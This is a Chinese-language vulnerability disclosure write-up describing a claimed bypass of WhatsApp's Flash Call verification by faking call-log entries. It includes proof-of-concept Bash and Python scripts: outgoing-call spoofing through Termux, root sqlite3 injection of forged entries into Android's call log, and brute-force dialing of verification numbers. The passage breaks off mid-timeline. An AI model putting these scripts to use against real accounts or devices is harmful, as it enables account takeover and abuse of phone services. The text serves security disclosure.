我如何发现WhatsApp通话验证的逻辑漏洞
我很高兴分享最近在WhatsFlash Call验证机制中发现的一个关键逻辑漏洞的详细信息。这个漏洞为未授权账户访问提供了途径，我向Meta负责任的披露导致该漏洞成功修复。在这篇深度分析中，我将带您了解攻击向量的发现过程、潜在影响以及绕过技术的具体细节，包括我使用的概念验证脚本。
调查WhatsApp的Flash Call认证机制
WhatsApp采用"Flash Call"系统作为传统基于短信的一次性密码（OTP）的替代方案，用于电话号码验证。该系统的工作原理是让WhatsApp服务器向用户设备发起一个简短的、单次响铃的通话。来电号码的最后几位数字随后作为隐式验证令牌。在获得适当权限（例如Android上的READ_CALL_LOG）的情况下，WhatsApp应用程序可以自动检查通话记录，识别这个特定的来电，并完成验证过程。这种方法旨在提供无缝的注册或重新认证体验。
我的调查是由一个关于这种客户端通话记录验证鲁棒性的问题引发的。我试图确定WhatsApp客户端是否仅仅检查通话记录中是否存在预期的验证号码，还是执行了更严格的验证来确认通话条目的方向性和性质（即，它是否来自WhatsApp官方验证基础设施的合法来电）。
发现的漏洞：通话记录方向性绕过
我发现的漏洞核心在于WhatsApp的客户端验证，事实证明它在区分来自其服务器的真实来电和我主动拨打给相同验证号码的去电方面存在不足。这个逻辑缺陷为绕过预期的认证流程创造了途径。
概念验证：手动利用
为了说明这一点，我建立了一个受控的双设备环境，模拟真实世界的攻击场景：
- 设备A（攻击者控制）：用于启动目标电话号码的WhatsApp注册/登录序列
- 设备B（受害者环境）：模拟合法用户的手机，持有目标SIM卡，配置为接收真实的Flash Call
以下是我遵循的利用序列：
- 在设备A上，我开始为目标电话号码启动WhatsApp登录过程，并特别选择"Missed Call Verification"选项
- 同时，设备B收到来自WhatsApp控制的验证号码（例如+4478730XXXXX）的合法、简短的Flash Call
- 关键步骤：在观察到甚至预测到WhatsApp验证号码（通常出现在锁屏或设备B的通话记录中）后，我立即通过编程方式（或手动进行初始PoC）从设备A向完全相同的WhatsApp验证号码发起去电。然后我立即终止这个去电。这个操作在设备A的本地通话记录中生成了一个新条目
认证绕过成功！ 当设备A上的WhatsApp客户端扫描其本地通话记录时，它找到了与预期验证号码匹配的条目。关键的是，它未能正确验证这个通话记录条目的CALL_TYPE（区分INCOMING_TYPE与OUTGOING_TYPE）。这种错误解读导致客户端错误地认为验证成功，授予设备A对目标WhatsApp账户的未授权访问权限，而不需要真实的OTP或设备B的任何交互。
该漏洞最终源于在匹配验证号码时对通话记录条目方向性的检查不足，使我能够成功伪造验证状态。
概念验证脚本（Bash - 概念性）
这是一个概念性脚本，演示攻击者如何使用Termux或类似环境在Android设备上自动化发起去电。该脚本假设具备必要的权限和工具（如termux-telephony-call）。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
#!/bin/bash
# Flash Call绕过的去电发起概念脚本
# 此脚本仅用于教育目的，不得用于非法活动
TARGET_PHONE_NUMBER="+1234567890" # 受害者号码（用于WhatsApp登录）
WHATSAPP_VERIFICATION_PREFIX="+4478730" # WhatsApp验证号码的已知前缀
echo "[*] 正在为以下号码启动WhatsApp Flash Call: $TARGET_PHONE_NUMBER"
# 假设攻击者设备（设备A）上的WhatsApp客户端已准备好验证
# 受害者设备（设备B）接收到Flash Call
# 在实际场景中，攻击者需要观察或预测完整的验证号码
# 为演示目的，假设我们预测'XXXXX'为'12345'
PREDICTED_VERIFICATION_SUFFIX="12345" # 这将从受害者设备观察/预测得到
VERIFICATION_NUMBER="${WHATSAPP_VERIFICATION_PREFIX}${PREDICTED_VERIFICATION_SUFFIX}"
echo "[*] 尝试拨打并立即终止到以下号码的去电: $VERIFICATION_NUMBER"
# 模拟拨打电话（需要termux-telephony-call或类似的Android API交互）
# 在实际利用中，这将是一个非常快速的通话（flash call）
# 注意：Android上的实际通话启动和终止需要特定权限
# 以及可能的root访问或专门的API。这是一个简化表示
# 使用termux-telephony-call的示例（需要Termux:API插件）
# termux-telephony-call "$VERIFICATION_NUMBER" &
# CALL_PID=$!
# sleep 1 # 模拟非常短的通话持续时间
# kill $CALL_PID # 立即终止通话
echo "[*] 去电模拟/终止完成。设备A上的WhatsApp客户端现在将扫描通话记录"
echo "[*] 如果存在漏洞，认证绕过将会发生"
echo "[*] PoC脚本完成"
|
高级攻击向量和风险放大
我的分析超越了基本的手动PoC，探索了更复杂的攻击场景，这些场景显著放大了这个核心逻辑缺陷带来的实际风险：
锁屏信息泄露和机会性利用
使这种攻击更可行的关键因素是在来电通知期间，设备锁屏上通常会显示完整的来电号码。攻击者即使短暂物理接触锁定的设备，也可以快速观察到WhatsApp验证号码。这些信息与在他们自己设备上执行的主要利用相结合，可能导致快速的账户接管，特别是在受害者设备缺乏强大的锁屏隐私保护的情况下。
Root设备上的自动化通话记录伪造
对于在目标设备上获得root权限的对手（可能通过其他漏洞或受感染的应用程序），利用能力显著增加。使用SQLite修改工具直接操作Android通话记录数据库（calllog.db）允许以编程方式注入伪造的"来电"通话记录条目。这完全绕过了我手动去电技巧的时间依赖性，促进了高效且隐蔽的账户入侵。
通话记录注入概念脚本（Bash - Rooted Android）
这个概念性脚本演示了具有root访问权限的攻击者如何直接将伪造的来电条目注入Android通话记录数据库，绕过实际拨打电话的需要。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
#!/bin/bash
# Rooted Android设备上直接通话记录注入的概念脚本
# 此脚本仅用于教育目的，不得用于非法活动
# 需要root访问权限（su）和设备上的sqlite3二进制文件
DB_PATH="/data/data/com.android.providers.contacts/databases/calllog.db"
TABLE_NAME="calls"
WHATSAPP_VERIFICATION_NUMBER="+447873012345" # 示例验证号码
CALL_TYPE=1 # 1表示INCOMING_TYPE，2表示OUTGOING_TYPE，3表示MISSED_TYPE
CALL_DURATION=0 # Flash call持续时间通常为0
CURRENT_TIMESTAMP=$(date +%s%3N) # 当前时间戳（毫秒）
echo "[*] 尝试将伪造的通话记录条目注入 $DB_PATH"
# 确保sqlite3可用且数据库可访问
if ! command -v sqlite3 &> /dev/null
then
echo "错误: 未找到sqlite3。请确保已安装并在PATH中"
exit 1
fi
# 构建SQL INSERT语句
SQL_COMMAND="INSERT INTO $TABLE_NAME (number, date, duration, type, new, name, numbertype, numberlabel, geocoded_location, countryiso, features, subscription_component_name, subscription_id, presentation, transcription, transcription_state) VALUES ('$WHATSAPP_VERIFICATION_NUMBER', $CURRENT_TIMESTAMP, $CALL_DURATION, $CALL_TYPE, 1, NULL, 0, NULL, NULL, NULL, 0, NULL, 0, 1, NULL, 0);"
# 使用root权限执行SQL命令
# 此命令需要在rooted Android设备本身上运行
echo "[*] 执行SQL: $SQL_COMMAND"
su -c "sqlite3 $DB_PATH \"$SQL_COMMAND\""
if [ $? -eq 0 ]; then
echo "[+] 伪造的通话记录条目成功注入"
echo "[*] 设备上的WhatsApp客户端现在将扫描通话记录并可能进行认证"
else
echo "[-] 注入通话记录条目失败。请检查权限或数据库路径"
fi
echo "[*] PoC脚本完成"
|
脚本化自动化和规模化攻击（例如Termux）
这种漏洞的性质适合自动化。使用Termux等环境和脚本语言（如Python和Bash），攻击者可以开发脚本来快速迭代潜在的验证号码模式（因为号码范围的某些部分看起来是一致的，例如+4478730XXXXX，其中"X"是变化的）。这些脚本可以自动化去电序列，或者在受感染/rooted设备上自动化直接注入通话记录条目。这突显了攻击规模化的潜力，特别是针对未启用双因素认证的账户。我向Meta提交的全面报告包括了这些高级场景和概念性脚本，以充分说明更广泛的威胁。
生成numbers.txt的Python脚本（用于Termux暴力破解）
1
2
3
4
5
6
7
8
|
from itertools import product
prefix = "+4478730"
# 生成最后5位数字的所有组合
for combination in product("0123456789", repeat=5):
number = prefix + "".join(combination)
print(number)
|
Termux的Bash脚本（使用生成的numbers.txt）
1
2
3
4
5
6
7
|
#!/bin/bash
while read number; do
echo "Calling $number..."
termux-telephony-call "$number" # 拨打电话
sleep 2 # 挂断前的通话持续时间（根据需要调整）
done < numbers.txt
|
负责任披露时间线
遵循负责任的披露协议至关重要。这个时间线详细描述了与Meta安全团队的专业协作过程，从初始报告到最终修复。
- 2025年2月14日：我向Meta的漏洞赏金计划提交了初始的全面漏洞报告。报告详细说明了我